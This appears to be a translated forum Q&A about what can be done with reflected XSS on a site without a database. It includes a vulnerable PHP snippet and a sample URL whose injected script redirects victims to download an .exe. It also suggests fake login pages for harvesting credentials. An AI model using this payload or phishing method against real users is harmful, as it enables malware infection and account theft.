There’s no right way to explore that. Basically you need to understand who accesses the site and what the focus of users and often not just use a technique, for example:
Let’s assume that the users of the site in question have an account on the XPTO Site. You could create a redirect or iframe to a false page of the XPTO Site with a form and copy this data. As the user entered alone the Site that has the problem of XSS he will not think he is being fooled. Another example would be to include a redirect to an . exe for the purpose of attacking the user’s computer. This is commonly seen with bank or virtual wallet pages.
In this example XSS is not persistent, In other words, it is not saved inside the page, possibly there is no database.
In this case the technique has to be adapted, it is common to pass the script through GET when the problem uses some form field.
<?php
$name = $_GET['nome'];
echo "Bem vindo $nome<br>";
?>
This is an example very similar to the site mentioned, the difference is that the information is passed through PHP GET and not through Javascript Prompt.
In this case it would be enough to send users a link like
http://sitexpto.com.br/?nome=<script>location.href='http://link.para/arquivo.exe';</script>
A variant of this technique was widely used at the time of Orkut, Google was already using login "Com conta Google"
by default, but there was an additional parameter called redirect
, many sent this url with a redirect to a file .exe
or a página falsa de login
. I know the problem was not related to XSS but I think worth mentioning.
On the website http://www.verinha.de
there really is a problem with XSS, but when analyzing the source code you can see that the result is not stored anywhere, and that it is not possible to enter the value by the url. In general there is no application in this case, at least not using only this technique.
I hope I’ve complemented on something.
SQL Injection on a site without BD does not exist. XSS technically exists (i.e., it may be possible to inject scripts), but attacks based on it depend on the script being persisted and run by other users of the site.
– bfavaretto
@bfavaretto About SQL I know, hehe. I mean, how to make appearance changes on a page, for example.
– user2692
If you’re talking about a static website, you need server access to it.
– bfavaretto
In your examples you seem to me to be injecting only in your browser, and not on the site. This way you can not reach third parties, and there is no way to make an "attack", since the actions even passed through the network.
– Bacco
PS: Unless you used this to target someone who would use the same PC, most likely in the same browsing session... :)
– Bacco